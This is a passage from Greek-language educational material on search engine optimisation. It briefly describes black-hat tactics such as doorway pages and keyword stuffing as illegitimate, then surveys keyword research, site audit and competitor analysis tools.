σε άλλες

ιστοσελίδες πολλές φορές με αυτόματο μηχανικό τρόπο π.χ. προωθώντας τους σε άλλες ιστοσελίδες μέσα σε κλάσματα δευτερολέπτων. Για παράδειγμα, σε μια ιστοσελίδα που ασχολείται με την μαγειρική μπορεί κάποιος να δημιουργήσει πολλές doorway ιστοσελίδες για διάφορα είδη μαγειρικής, όπως για κινέζική, γαλλική, ισπανική κουζίνα κτλ, οι οποίες περιλαμβάνουν όρους σχετικού με την κάθε κουζίνα αλλά το κείμενο αποτελεί ένα αντίγραφο των άλλων ιστοσελίδων. Όλες οι ιστοσελίδες αυτές τελικά οδηγούν στην κύρια ιστοσελίδα μαγειρικής. Μια άλλη μη νόμιμη τεχνική για την βελτίωση της κατάταξης μιας ιστοσελίδας είναι το spamdexing. Η μέθοδος αυτή αναφέρεται στην εσκεμμένη δημιουργία ιστοσελίδων οι οποίες θα κατηγοριοποιηθούν από τη μηχανή αναζήτησης με σκοπό την αύξηση της πιθανότητας της ιστοσελίδας που προωθείται να βρίσκεται ανάμεσα στα αρχικά αποτελέσματα που επιστρέφει η μηχανή αναζήτησης. Εφαρμογή της μεθόδου αυτής είναι η δημιουργία ιστοσελίδων «φαντασμάτων» όπου στην ουσία δημιουργούν μια ιστοσελίδα πανομοιότυπη με την ιστοσελίδα του πελάτη στο οποίο θα εφαρμόσουν τις τακτικές SEO που γνωρίζουν. Οι υπερσύνδεσμοι στέλνουν στην ιστοσελίδα του πελάτη με αποτέλεσμα την παραγωγή μεγαλύτερης κίνησης. Όπως είδαμε και παραπάνω η μηχανή αναζήτησης εκτιμάει την παρουσία σημαντικών λέξεων κλειδών σε συνδέσμους μέσα στην βασική ιστοσελίδα. Το γεγονός αυτό εκμεταλλεύεται αυτή η black hat τεχνική και πραγματοποιεί συνεχής επανάληψη αυτών των λέξεων με σκοπό να εξαπατήσει την μηχανή αναζήτησης και να την οδηγήσει να τοποθετήσει την ιστοσελίδα σε υψηλότερη κατάταξη.

Εκπαιδευτική Υποενότητα 6.2 Εργαλεία Βελτιστοποίησης (SEO) Οι λέξεις κλειδιά για την εκάστοτε ιστοσελίδα αποτελούν την μαγική πινακίδα η οποία αν είναι «γραμμένη σωστά» θα οδηγήσει την ιστοσελίδα στην υψηλότερη θέση στη λίστα με τα αποτελέσματα της μηχανής αναζήτησης. Αυτό συγχρόνως συνεπάγεται την προώθηση και πώληση των υπηρεσιών ή των προϊόντων της ιστοσελίδας και κατά συνέπεια αύξηση των κερδών και εξασφάλιση της διαβίωσης και της επιτυχίας της επιχείρησης. Google Keyword Tool Το Adwords Google Keyword Tool το χρησιμοποιούν οι ιδιοκτήτες των ιστοσελίδων με σκοπό να ελέγξουν τις λέξεις κλειδιά που χρησιμοποιούνται και βρίσκουν νέες προτάσεις για τις

λέξεις κλειδιά με σκοπό να έχει προτεραιότητα η δική τους ιστοσελίδα στη λίστα με τα αποτελέσματα της μηχανής αναζήτησης. Με το συγκεκριμένο εργαλείο πληκτρολογώντας μια λέξη ή μια φράση μας επιστρέφει μια λίστα με παρόμοιες λέξεις κλειδιά μαζί με μια καταμέτρηση η οποία μας δείχνει πόσο συχνά αναζητείται η κάθε λέξη. Το εργαλείο αυτό συνεχώς ανανεώνεται και βελτιώνει τις παροχές του προς τον ιδιοκτήτη της ιστοσελίδας και ένα τέτοιο παράδειγμα αποτελεί το Google Planer το οποίο διαφέρει ως προς το σκοπό και τα αποτελέσματα που έχει σε σχέση με την παλιότερη έκδοση που ήταν πιο αδόμητη και με γενικό σκοπό. Το Google Planer καλύπτει έναν ταχύτερο και ακριβέστερο σχεδιασμό της καμπάνιας. Συγκεκριμένα παρέχει ισχυρές δυνατότητες φιλτραρίσματος της λέξης κλειδιού με διάφορους έξυπνους τρόπους. Για παράδειγμα μια μέθοδος φιλτραρίσματος είναι να συμπεριλαμβάνει ή να αποκλείει λέξεις κλειδιά οι οποίες κυμαίνονται πάνω ή κάτω από ένα επιθυμητό μηνιαίο όγκο αναζήτησης. Άλλη μια πολύ σημαντική παροχή αυτού του εργαλείου είναι να δημιουργήσουμε τη δική μας λίστα λέξεων κλειδιών και όχι τις γενικές προτάσεις. Επίσης βοηθάει το χρήστη να λάβει στατιστικά δεδομένα ιστορικού για τις λέξεις κλειδιά, να δει την πιθανή απόδοση μιας λίστας λέξεων κλειδιών, ακόμα και να επιλέξει ανταγωνιστικές προσφορές για τη χρήση της καμπάνιας. Αν θελήσουμε να γενικεύσουμε τη χρήση αυτού του εργαλείου θα μπορούσαμε να το αποκαλέσουμε ως ένα εργαστήριο οικοδόμησης και προώθησης νέων καμπανιών του διαδικτύου. Να σημειώσουμε ότι για να χρησιμοποιήσουμε αυτό το εργαλείο θα πρέπει να συνδεθούμε στο Google AdWord και να δημιουργήσουμε ένα λογαριασμό με τα στοιχεία μας αφού πρώτα έχουμε ήδη έναν λογαριασμό στο gmail. Google Trends Το Google Trends αποτελεί μια δωρεάν υπηρεσία –εργαλείο της Google το οποίο μας προσφέρει τη δυνατότητα να δούμε τη δημοτικότητα των λέξεων κλειδιών. Επιπλέον επιτρέπει στο χρήστη την σύγκριση του όγκου αναζητήσεων ανάμεσα σε δύο έως πέντε όρους διαχωρίζοντας αυτούς με κόμμα. Αυτή η δυνατότητα μας βοηθάει να δούμε τη ποιος όρος είναι δημοφιλέστερος. Κάποιοι όροι είναι περισσότερο δημοφιλής σε κάποιες συγκεκριμένες χρονικές περιόδους όπως για παράδειγμα σε εορταστικές περιόδους. Θεωρείται πάρα πολύ σημαντικό να ξέρουμε ποιος όρος βρίσκεται σε ανοδική πορεία την κάθε χρονική στιγμή. Αποτελεί ένα πολύ σημαντικό και αποτελεσματικό εργαλείο για έρευνα αγοράς και επιτρέπει τη μελέτη για όλες τις τάσεις του διαδικτύου αντλώντας δεδομένα από μέσα από τις έρευνες που κάνουν οι χρήστες τις μηχανής αναζήτησης. Οι τάσεις αυτές μπορούν να ταξινομηθούν

με βάσει τους τύπους των αναζητήσεων για παράδειγμα ιστός , εικόνα ,νέα με βάσει τις γεωγραφικές περιοχές και τις κατηγορίες. Συγκεκριμένα το Google Trends tool διαθέτει τρία χαρακτηριστικά τα οποία είναι τα Trending Searches, Trending on YouTube και Top Charts. Με το Trending Searches έχεις ενημερώσεις για τις πιο δημοφιλείς αναζητήσεις που γίνονται στη Google σε πραγματικό χρόνο, με το Trending on YouTube σου παρέχει τις πιο δημοφιλής αναζητήσεις στο YouTube και με το Top Charts μελετάμε τις πιο δημοφιλής και πάλι αναζητήσεις ανά κατηγορία. Να σημειωθεί ότι το Google Trends αποδίδει καλύτερα όταν συνδυάζεται και με ένα άλλο εργαλείο της Google το λεγόμενο Google Insights For search. Google Insights For Search Το Google Insights For Search είναι ένα εργαλείο της μηχανής αναζήτησης Google το οποίο είναι παρόμοιο με το Google Trends που περιγράψαμε παραπάνω. Παρέχει τις ίδιες δυνατότητες με το προαναφερθέντο απλά αυτό είναι ακόμα πιο φιλικό προς το χρήστη του διότι του προσφέρει ακόμα πιο πολλές αναλυτικές πληροφορίες και όχι μόνο για τους πιο δημοφιλής όρους αλλά και για όρους με χαμηλότερη δημοτικότητα δηλαδή παρέχει μια πιο ολοκληρωμένη ενημέρωση. Συγκεκριμένα με το Google Insights For Search οι χρήστες έχουν τη δυνατότητα να συγκρίνουν τις διάφορες τάσεις του διαδικτύου για κάποιο συγκεκριμένο θέμα σε διάφορες χρονικές στιγμές παρατηρώντας τις μεταβολές του ενδιαφέροντος. Τις μεταβολές αυτές τις απεικονίζει το εργαλείο αυτό σε κινούμενους χάρτες ανά χρονική στιγμή. Επιπλέον διαθέτει το χαρακτηριστικό της πρόβλεψης το οποίο χρησιμοποιώντας το ο χρήστης βρίσκει πληροφορίες σχετικά με τη μελλοντική ζήτηση για κάποιο θέμα. Επίσης ο χρήστης μπορεί να εισάγει στην ιστοσελίδα του συγκριτικά γραφήματα. Συγκρίνει τη δημοτικότητα των όρων και δίνει τη δυνατότητα στο χρήστη να παρατηρεί ποια χώρα, πόλη ή και περιοχή δείχνει μεγαλύτερο ενδιαφέρον για κάποιο συγκεκριμένο θέμα. Επιλέγοντας πάνω στο χάρτη τη συγκεκριμένη περιοχή που εμφανίζεται παρουσιάζεται ο όγκος αναζήτησης της συγκεκριμένης περιοχής. Ακόμα ενημερώνει τους χρήστες για ποια ερωτήματα σχετίζονται με τα επιλεγμένα καθώς και ποια είναι η δημοτικότητα αυτών. Τη διαφορά με το Google Trends την πραγματοποιούν κάνοντας πιο συγκεκριμένες τις αναζητήσεις τους βάσει ημερομηνίας, περιοχής και θέματος δίνοντας πιο λεπτομερή αποτελέσματα-πληροφορίες. Οι χρήστες έχουν τη δυνατότητα να παρατηρήσουν τις γενικές τάσεις σε μια κατηγορία χωρίς να μπούνε στη διαδικασία να εισάγουν κανένα όρο αναζήτησης. Αυτό επιτυγχάνεται διότι με την επιλογή της κατηγορίας εμφανίζονται αυτόματα και οι γενικές τάσεις αυτής.

Keyword density Το Keyword density αποτελεί εργαλείο μέτρησης της πυκνότητας των λέξεων κλειδιών που χρησιμοποιεί ο κάτοχος της κάθε ιστοσελίδας. Ως πυκνότητα για το SEO θεωρείται το ποσοστό της επανάληψης της λέξης κλειδί στην ιστοσελίδα σε σχέση με το συνολικό αριθμό των λέξεων που εμφανίζονται σε αυτή. Για παράδειγμα σε ένα άρθρο 300 λέξεων γίνει επανάληψη της λέξης κλειδί 15 φορές τότε μέσω του υπολογισμού (15/300) *100 προκύπτει ότι η πυκνότητα της λέξης κλειδιού είναι 5%. Το Keyword density είναι πολύ χρήσιμο εργαλείο διότι αν η πυκνότητα των λέξεων κλειδιών είναι υπερβολική η μηχανή αναζήτησης θα το θεωρήσει ως μια κακόβουλη τεχνική SEO και spamming επιβάλλοντας ποινές στην ιστοσελίδα μας. Wordtracker Το Wordtracker είναι ένα εργαλείο αναζήτησης λέξεων κλειδιών παρόμοιο με το AdWords. Προσφέρει μια βάση δεδομένων με 300.000.000 όρους πράγμα το οποίο συνεπάγεται μια ευέλικτη λειτουργία αναζήτησης και εύρεσης λέξεων κλειδιών. Επιπλέον διαθέτει και πλευρική αναζήτηση , δηλαδή ο χρήστης του μπορεί να βρει εκατοντάδες σχετικές λέξεις κλειδιά που χρησιμοποιούν ένα γενικό όρο αναζήτησης αξιοποιώντας την τεράστια βάση δεδομένων του που αποτελείται από τις μηχανές αναζήτησης Metacrawler και Dogpile. Θεωρείται εύχρηστο και γρήγορο στα αποτελέσματά του τόσο για τη βελτιστοποίηση μηχανών αναζήτησης όσο και για την πληρωμή ανά κλικ. Διαθέτει το χαρακτηριστικό “count” το οποίο μετράει πόσες φορές ο όρος αναζήτησης εμφανίζεται στη βάση δεδομένων και το χαρακτηριστικό ”predict” το οποίο προσφέρει μια εκτίμηση του συνολικού αριθμού των αναζητήσεων που πραγματοποιήθηκαν για τη λέξη κλειδί για όλες τις μηχανές αναζήτησης στο χρονικό διάστημα μιας ημέρας. Άλλο ένα χαρακτηριστικό του είναι το λεγόμενο “Short Term Report" το οποίο πληροφορεί το χρήστη για τις τάσεις αναζήτησης των τελευταίων μηνών. Διαθέτει ένα δωρεάν τρόπο αναζήτησης για τις 100 κορυφαίες λέξεις κλειδιά για ένα συγκεκριμένο όρο. Google Suggest Είναι ένα εργαλείο παρόμοιο με το Ubersuggest το οποίο όταν ο χρήστης πληκτρολογεί στο πεδίο αναζήτησης της Google κάποια λέξη ή ένα γράμμα το εργαλείο αυτό του εμφανίζει αυτόματα σχετικούς όρους και προτάσεις σε ένα αναπτυσσόμενο μενού οι οποίες βασίζονται στους πιο συχνά αναζητούμενους όρους. Το Google Suggest προσφέρει εξοικονόμηση χρόνου

στο χρήστη του και του παρέχει κάποιες επιπλέον πληροφορίες σχετικά με το θέμα που ερευνά. Good Keywords Το Good Keywords είναι το εργαλείο που χρησιμοποιείται στη φάση που έχουν γίνει όλες οι απαραίτητες ενέργειες και έχουν συλλεχθεί οι λίστας με τις λέξεις κλειδιά πραγματοποιώντας την επιλογή των καλύτερων λέξεων κλειδιών για την επίτευξη της επισκεψιμότητας της ιστοσελίδας μας και τη βέλτιστη κατάταξή της στη λίστα με τα αποτελέσματα της μηχανής αναζήτησης. Το εργαλείο αυτό επιπλέον διαγράφει τα έγγραφα που επαναλαμβάνονται πάνω από μία φορά στις λίστες και τοποθετεί τις λέξεις κλειδιά σε αλφαβητική σειρά διευκολύνοντας τον κάτοχο της ιστοσελίδας. Εργαλεία ελέγχου ιστοσελίδας Υπάρχουν πολλοί παράγοντες που μπορεί να συμβάλλουν και να επηρεάσουν την ιστοσελίδα μας και να μην έχει την αναμενόμενη επισκεψιμότητα οι πωλήσεις μας να μην έχουν τα επιθυμητά αποτελέσματα και οι ανταγωνιστές μας να βρίσκονται σε πλεονεκτική θέση σε σχέση με εμάς. Για να αποφευχθούν όλα τα παραπάνω υπάρχουν τα εργαλεία ελέγχου της ιστοσελίδας, τα οποία και θα εξετάσουμε παρακάτω. Ο έλεγχος αυτός θα μας ενημερώσει αν υπάρχουν προβληματικές σελίδες και σύνδεσμοι, πόσο γνωστή και δημοφιλής είναι η ιστοσελίδα μας στα μέσα κοινωνικής δικτύωσης και στα υπόλοιπα sites. Επιπλέον σε τι θέση βρίσκεται σε σχέση με τους ανταγωνιστές, πόσο φιλική είναι για τις μηχανές αναζήτησης και πόσο γρήγορα φορτώνει. Alexa Το Alexa είναι ένα εργαλείο το οποίο μας δίνει μια εικόνα σχετικά με την κατάταξη της ιστοσελίδας μας στη λίστα με τα αποτελέσματα της μηχανής αναζήτησης. Σύμφωνα με την επισκεψιμότητα μας ενημερώνει και για την κατάταξη των ανταγωνιστικών ιστοσελίδων. Αυτές τις δυνατότητες τις παρέχει το εργαλείο αυτό δωρεάν στο χρήστη. Στην περίπτωση της αμοιβής του μας προσφέρει πιστοποιημένες μετρήσεις επισκεψιμότητας και κάνει έλεγχο για σημεία της ιστοσελίδας που χρειάζονται βελτίωση. Ahrefs To Ahrefs είναι ένα πάρα πολύ σημαντικό εργαλείο ελέγχου διότι ελέγχει την ποιότητα των backlinks τόσο της ιστοσελίδας μας όσο και των ανταγωνιστών μας. Ελέγχει δηλαδή τους

συνδέσμους που υπάρχουν σε άλλες ιστοσελίδες στους οποίους κάνοντας κλικ οδηγούν στην ιστοσελίδα μας. Google Webmasters Tools Αποτελεί μια δωρεάν παροχή της Google για τους webmasters παρέχοντας την υποβολή και των έλεγχο των sitemaps, δημιουργεί και ελέγχει το robots.txt αρχείο και βρίσκει τις ιστοσελίδες που αποκλείστηκαν σε αυτό το αρχείο. Επιπλέον παρέχει μια λίστα με τις εσωτερικές και εξωτερικές σελίδες που συνδέονται με την ιστοσελίδα καθώς και μια λίστα με τις spam συνδέσεις. Δίνει τη δυνατότητα να δούμε τα στατιστικά στοιχεία ανίχνευσης και τις αδυναμίες τις ιστοσελίδας μας σύμφωνα με τη Google στην ανίχνευση και στην ευρετηρίαση της ιστοσελίδας μας με σκοπό ο webmaster να τις επιδιορθώσει. Copy Space To Copy Space είναι ένα εργαλείο το οποίο ελέγχει την περίπτωση της αντιγραφής του περιεχομένου μας. Θεωρείται πολύ σημαντικό εργαλείο διότι η μηχανή αναζήτησης εφαρμόζει ποινές σε επαναλαμβανόμενα περιεχόμενα και στην περίπτωση που είναι εντός και στην περίπτωση που είναι εκτός της ιστοσελίδας μας. Ένας πολύ γρήγορος και αποτελεσματικός τρόπος πιστοποίησης του περιεχομένου που δημοσιεύουμε στην ιστοσελίδα μας είναι να το συνδέουμε με το Google+ λογαριασμό μας. Με λίγα λόγια το εργαλείο αυτό σφραγίζει τη γνησιότητα του περιεχομένου της ιστοσελίδας μας. Plugin SEO Το Plugin SEO είναι ένα εργαλείο το οποίο με μεγάλη ευκολία και ταχύτητα ελέγχει τα πιο σημαντικά χαρακτηριστικά της ιστοσελίδας με μοναδικό σκοπό πάντα την βελτιστοποίηση της ιστοσελίδας μας για τη μηχανή αναζήτησης. Τα σημαντικά χαρακτηριστικά της ιστοσελίδας που ελέγχει αυτό το εργαλείο όπως φαίνεται και στη παρακάτω εικόνα θεωρούνται ο τίτλος της σελίδας οι μετα ετικέτες περιγραφής τον server του διαδικτύου και άλλα. Neighborhood Checker Όπως όλοι γνωρίζουμε σε ένα web server φιλοξενούνται πολλές ιστοσελίδες. Αυτό που πρέπει να προσέχουμε από τις γειτονικές μας ιστοσελίδες είναι ότι πρέπει να ελέγχουμε αν κάποια από αυτές έχει υποστεί ποινή για κακόβουλη χρήση βελτιστοποίησης από τη μηχανή αναζήτησης. Ο λόγος που πρέπει να κάνουμε αυτό τον έλεγχο είναι ότι επηρεάζεται σε αυτή την περίπτωση αρνητικά και η δική μας ιστοσελίδα. Επομένως η βέλτιστη λύση είναι να

ανήκουμε σε ένα Web Server ο οποίος φιλοξενεί αξιόπιστες και δημοφιλής ιστοσελίδες και παρόμοιου περιεχομένου με τη δική μας. Page authority Checker Αυτό το εργαλείο αποτελεί τον έλεγχο του Page authority δηλαδή παρέχει μια μέτρηση της σελίδας μας σχετικά με την κατάταξή της στα αποτελέσματα της μηχανής αναζήτησης και αποτελεί μια πολύ σημαντική παράμετρο για την βέλτιστη κατάταξη της ιστοσελίδας. Η μέτρηση αυτή πραγματοποιείται σε μια αλγοριθμική κλίμακα από το 1-100. Αλγοριθμική κλίμακα σημαίνει ότι είναι πιο εύκολο να βαθμολογηθεί από το 20 στο 30 παρά από το 70 στο 80. Theme authenticity Checker(TAC) Το Theme authenticity Checker αποτελεί και αυτό ένα εργαλείο ελέγχου πραγματοποιώντας έλεγχο στα αρχεία προέλευσης κάθε εγκατεστημένου θέματος της ιστοσελίδας για κακόβουλο κώδικα. Σε περίπτωση που εντοπίσει τέτοιο είδους κώδικα, το TAC, εμφανίζει αυτόματα τη διαδρομή προς το αρχείο προέλευσης του θέματος τον αριθμό της γραμμής και ένα μικρό κομμάτι του κακόβουλου αυτού κώδικα. Ο κακόβουλος κώδικας εντοπίζεται από τις μηχανές αναζήτησης και επιδρά αρνητικά στην κατάταξη της ιστοσελίδας, άρα το TAC θεωρείται ένα πολύ σημαντικό εργαλείο ελέγχου. Woorank Το Woorank είναι ένα εργαλείο το οποίο αναλύει στην ιστοσελίδα τις μεθόδους βελτιστοποίησης που χρησιμοποιεί και εφαρμόζει προσφέροντας μαζί με την ανάλυση και 50 παράγοντες οι οποίοι θα αυξήσουν την επισκεψιμότητα της ιστοσελίδας και κατ΄επέκταση και την καλύτερη κατάταξή της στη λίστα των αποτελεσμάτων της μηχανής αναζήτησης. Πραγματοποιεί με πολύ καλό συγχρονισμό αρκετούς ελέγχους και για on page optimization και για off page optimization και αυτό θεωρείται το πιο ισχυρό του χαρακτηριστικό. Ακόμα αν εντοπίσει κάποιο πρόβλημα με την ιστοσελίδα μας παρέχει μια σύντομη περιγραφή αυτού συμπεριλαμβανομένου και κάποιων προτάσεων επιδιόρθωσης αυτού. Το αδύνατο σημείο στο Woorank είναι ότι κάποιες φορές τα αποτελέσματα που προκύπτουν από τους ελέγχους που πραγματοποιεί δεν είναι ιδιαίτερα ακριβή. Παρά όμως αυτή του την αδυναμία το εργαλείο αυτό θεωρείται επαρκή για μια πρώτη αξιολόγηση της ιστοσελίδας. Για τους μη εγγεγραμμένους χρήστες παρέχει μια δωρεάν ανάλυση την εβδομάδα ενώ για τους εγγεγραμμένους προσφέρει τη δυνατότητα της δωρεάν χρήσης για μια εβδομάδα. SEO Site Checkup

Το συγκεκριμένο αυτό SEO εργαλείο, όπως υποδηλώνει και το όνομά του είναι ένα εργαλείο παρόμοιο με το Woorank το οποίο παρέχει μια δωρεάν ολοκληρωμένη ανάλυση για τις τεχνικές βελτιστοποίησης της σελίδας και πραγματοποιεί αρκετούς ελέγχους σε πολλές και σημαντικές παραμέτρους της ιστοσελίδας όπως στο page statistics, site data, meta tags, page notes, objects, site security και σε πολλές άλλες. Επιπλέον ελέγχει και την ποιότητα των backlinks της ιστοσελίδας μας. HubSpot Marketing Grader Το Hub Spot Marketing θεωρείται ένα από τα καλύτερα δωρεάν εργαλεία τα οποία αναλύουν και αξιολογούν τις προσπάθειες του on-line marketing που έχει εφαρμοστεί στην ιστοσελίδα. Η αξιολόγηση αυτή βασίζεται σε πολλά στοιχεία της διαδικτυακής παρουσίας της ιστοσελίδα όπως είναι το blogging, τα social media και άλλα. Συγκεκριμένα το εργαλείο αυτό παρέχει μια λίστα ελέγχου για κάθε κατηγορία που αξιολογεί μαζί με μια λίστα εργασιών που πρέπει να διαχειριστεί η ιστοσελίδα για να βελτιωθεί σε περίπτωση της χαμηλής βαθμολογίας. Επιπλέον μας απαντά στο πόσο αποτελεσματικά χρησιμοποιεί η ιστοσελίδα τα κοινωνικά μέσα δικτύωσης, αν η ιστοσελίδα βρίσκεται εύκολα από τα άτομα που ψάχνουν για τις υπηρεσίες που παρέχει η σελίδα, ακόμα και κατά πόσο οι προσπάθειες marketing οδηγούν σε όσο το δυνατόν περισσότερες πωλήσεις. Εργαλεία βελτιστοποίησης ιστοσελίδας SpyFu Πρόκειται για ένα εργαλείο το οποίο παρακολουθεί τις τεχνικές SEO που χρησιμοποιούν οι ανταγωνιστικές σελίδες και ενημερώνει το χρήστη για τις λέξεις κλειδιά που χρησιμοποιούν και αγοράζουν οι ανταγωνιστές. Επιπλέον με παρέχει δωρεάν πληροφορίες σχετικά με το κόστος που ξοδεύουν οι ανταγωνιστές για διαφημίσεις καθώς και το κόστος ανά κλικ για κάθε όρο. Με την καταβολή μηνιαίας συνδρομής παρέχει επιπρόσθετες και ποιο αναλυτικές πληροφορίες για τις παραπάνω κινήσεις των ανταγωνιστών. Με αυτό τον τρόπο παραχωρεί στο χρήστη του τη δυνατότητα να δει και να κατανοήσει τον τρόπο που κινούνται οι ανταγωνιστές του με σκοπό να κάνει και αυτός τις ανάλογες κινήσεις με μοναδικό σκοπό την νίκη του στη μάχη της κατάταξης στα αποτελέσματα της μηχανής αναζήτησης. Μπορούμε να μαντέψουμε τι θα γινόταν αν σε μια παρτίδα σκάκι ο παίκτης, όχι απλά προβλέπει, αλλά γνωρίζει τον τρόπο με τον οποίο θα κινηθεί ο αντίπαλος. Το αποτέλεσμα του

παιχνιδιού, θα ήταν αν όχι νίκη τουλάχιστον ισοπαλία διότι υπάρχει η πιθανότητα και ο αντίπαλος να έχει και αυτός τη δυνατότητα της γνώσης των κινήσεων του δικό του αντιπάλου. Με ένα τέτοιο τρόπο δουλεύει αυτό το εργαλείο και σαφώς αντιλαμβανόμαστε πόσο σημαντική είναι η χρήση του για τη βελτιστοποίηση της ιστοσελίδας. SEOMoz Το SEOMoz παρέχει μια σειρά από εργαλεία βελτιστοποίησης ιστοσελίδων και αποτελεί τον πιο δημοφιλή πάροχο SEO λογισμικού κάνοντας τη βελτιστοποίηση ιστοσελίδων ακόμη πιο εύκολη και προσβάσιμη για όλους. Παρέχει συμβουλές για on page optimization , αναλύει τις δημοφιλέστερες λέξεις κλειδιά που αφορούν τον εκάστοτε χρήστη του και παρακολουθεί συνεχώς την κατάταξή τους στη μηχανή αναζήτησης. Google Analytics Το Google Analytics είναι ένα εργαλείο βελτιστοποίησης της σελίδας το οποίο παρέχεται δωρεάν από τη μηχανή αναζήτησης Google και δίνει τη δυνατότητα στο χρήστη του να εντοπίσει το δημοφιλέστερο και το πολυτιμότερο περιεχόμενο της ιστοσελίδας του, καθώς και να οδηγήσει πιο γρήγορα τους επισκέπτες της σε αυτό που αναζητούν. Επιπλέον μπορεί να κάνει ανάλυση της σελίδας δίνοντας οπτική εικόνα για τον τρόπο με τον οποίο οι επισκέπτες κινούνται μέσα στη σελίδα μας. Η αργή φόρτωση της σελίδας αποτελεί έναν από τους πολλούς κινδύνους της χαμηλής κατάταξης της και το Google Analytics για να τον αποφύγει παρέχει αναφορά της ταχύτητας φόρτωσης και σε περίπτωση της αργής φόρτωσης βελτιώνει την ταχύτητα πριν γίνει αντιληπτό από τους επισκέπτες. Ακόμα έχει τη δυνατότητα της απευθείας εισαγωγής δεδομένων στο AdSense, το οποίο επιτρέπει στους ιδιοκτήτες ιστοσελίδων να βγάζουν χρήματα από τις διαφημίσεις τους. Η δυνατότητα αυτή βοηθάει το χρήστη να προβάλει τις διαφημίσεις του στο καλύτερο δυνατό σημείο της σελίδας. Compete.com Το εργαλείο αυτό παρέχει πληροφορίες όχι μόνο σχετικά με την προσωπική μας ιστοσελίδα αλλά και για τις ανταγωνιστικές. Οι δωρεάν παροχές του αναφέρονται στην εισαγωγή του χρήστη σε οποιοδήποτε Domain name. Οι επί πληρωμής παροχές του προσφέρουν πληροφορίες για τα backlinks της σελίδας , για τα στατιστικά και δημογραφικά στοιχεία των

επισκεπτών και άλλα πολλά. Οι πληροφορίες αυτές δίνουν τη δυνατότητα στο χρήτη να κατανοήσει τις κινήσεις του ανταγωνιστή και να δράσει και αυτός αναλόγως. Μέχρι τώρα παρουσιαστήκανε αναλυτικά αρκετά από τα σημαντικότερα εργαλεία βελτιστοποίησης ιστοσελίδων ανά την κατηγορία τους. Σε αυτή την ενότητα του κεφαλαίου θα αναφέρουμε με μια σύντομη περιγραφή και κάποια πρόσθετα SEO tools. Algoroo: Εργαλείο το οποίο καταγράφει τις αλλαγές στον αλγόριθμο της Google σε επίπεδο μηνός, εβδομάδας και ημέρας. Broken Link Checker: Πρακτικό και εύκολο στη χρήση του εργαλείο για εντοπισμό broken links της ιστοσελίδας μας. Εντοπίζει το URL στο οποίο βρίσκεται το broken link καθώς και την θέση του στον κώδικα της ιστοσελίδας. Cloaking checker: Ανήκει στην κατηγορία των seo tools που ελέγχει αν η ιστοσελίδα που μας ενδιαφέρει χρησιμοποιεί μια παράνομη τεχνική βελτιστοποίησης ιστοσελίδων με την ονομασία cloaking. Google Copyright Removal: Εργαλείο που βρίσκεται στα Google Webmaster Tools και το οποίο μας επιτρέπει να αναφέρουμε στην Google τις ιστοσελίδες που μας έχουν αντιγράψει το περιεχόμενο μας. Σύντομη αναφορά επιπλέον εργαλείων Google PageRank checker: Ελέγχει το PageRank (PR), δηλαδή τη βαθμολογία που θεωρητικά δίνει η Google στην ιστοσελίδα σας. Mπορούμε να δούμε επίσης και το PR των ανταγωνιστών μας ή των ιστοσελίδων που πρόκειται να δημιουργήσουμε backlinks. Βέβαια το πραγματικό PR που δίνει η Google δεν το γνωρίζει κανείς, το εργαλείο αυτό δίνει μια εκτίμηση για αυτό. Monitor backlinks: Με το εργαλείο αυτό ενημερωνόμαστε κάθε φορά που δημιουργούνται backlinks προς την ιστοσελίδα μας και τους ανταγωνιστές μας. Επίσης μπορούμε να εξάγουμε συμπεράσματα για την κατάταξη της ιστοσελίδας μας για συγκεκριμένα keywords σε σχέση με τα νέα backlinks που έχουν δημιουργηθεί. Για ένα μήνα η υπηρεσία παρέχεται δωρεάν. Readability test tool: Η ευκολία ανάγνωσης του κειμένου της ιστοσελίδας μας είναι μια παράμετρος που επηρεάζει την κατάταξη της. Με το συγκεκριμένο εργαλείο βλέπουμε τη βαθμολογία της για αυτή την παράμετρο. Robots.txt Checker: Ελέγχει το robots.txt αρχείο της ιστοσελίδας μας για να εντοπίσουμε πιθανά λάθη τα οποία εμποδίζουν την πρόσβαση των μηχανών αναζήτησης σε αυτή.

YouTube Analytics: Τα videos είναι μια φανταστική μέθοδος προώθησης και το YouTube είναι η σημαντικότερη πλατφόρμα που τα φιλοξενεί. Η διαδικασία βελτιστοποίησης τους διαφέρει από αυτή των ιστοσελίδων. Για να παρακολουθήσουμε τα στατιστικά στοιχεία που τα αφορούν μπορείτε να χρησιμοποιήσετε το συγκεκριμένο εργαλείο. Wistia: Πλατφόρμα για τη φιλοξενία videos επιχειρήσεων η οποία είναι φιλική στις μηχανές αναζήτησης. Μέχρι τρία videos παρέχεται δωρεάν. Το πλεονέκτημα της σε σχέση με το YouTube είναι ότι δεν έχει διαφημίσεις και ότι τα videos που φιλοξενεί δεν μπλοκάρονται δεδομένου ότι το περιεχόμενο τους είναι σχετικό με θέματα business. What’s my SERP: Εξαιρετικό εργαλείο για να δούμε την κατάταξη της ιστοσελίδας μας για τις λέξεις-κλειδιά που μας ενδιαφέρουν. Ο έλεγχος της κατάταξης πραγματοποιείται online οπότε δεν διατρέχουμε τον κίνδυνο να μας μπλοκάρει προσωρινά η Google τις αναζητήσεις. Επίσης μπορούμε ταυτόχρονα να δούμε και την κατάταξη των βασικών μας ανταγωνιστών. URI Valet: Εργαλείο για τεχνικά ζητήματα βελτιστοποίησης ιστοσελίδων. Ελέγχει τους server headers, εντοπίζει τα redirects, ελέγχει τα internal και τα external links, τον κώδικα της ιστοσελίδας και πολλά άλλα. Topsy: Εντοπίζει δημοφιλές περιεχόμενο στο Twitter για τις λέξεις-κλειδιά που μας ενδιαφέρουν και μας εμπνέει για να δημιουργήσουμε το δικό μας. Πληκτρολογούμε την λέξηκλειδί που μας ενδιαφέρει και επιλέγουμε Links. Με τον τρόπο αυτό θα μας εμφανιστούν τα περιεχόμενα που έχουν τα περισσότερα backlinks και συνεπώς βασιζόμενοι σε αυτά και αναπτύσσοντας το δικό μας πρωτότυπο περιεχόμενο θα έχουμε περισσότερες πιθανότητες να δημιουργήσουμε φυσικά backlinks προς την ιστοσελίδα μας. Social Image Resizer Tool: Βελτιστοποιεί τις εικόνες που θέλουμε για το Facebook, Twitter, το Google+. Sitemap generators: Δημιουργούμε εύκολα και γρήγορα sitemaps για να τα υποβάλλουμε στις μηχανές αναζήτησης και να επιταχύνουμε την ευρετηρίαση της ιστοσελίδας μας. rmoov: Χρήσιμο εργαλείο για να αφαιρούνται τα μη ποιοτικά backlinks προς την ιστοσελίδα μας. Εμείς προσθέτουμε την λίστα με τα URLs που έχουν πρόβλημα και το rmoov αντλεί τα 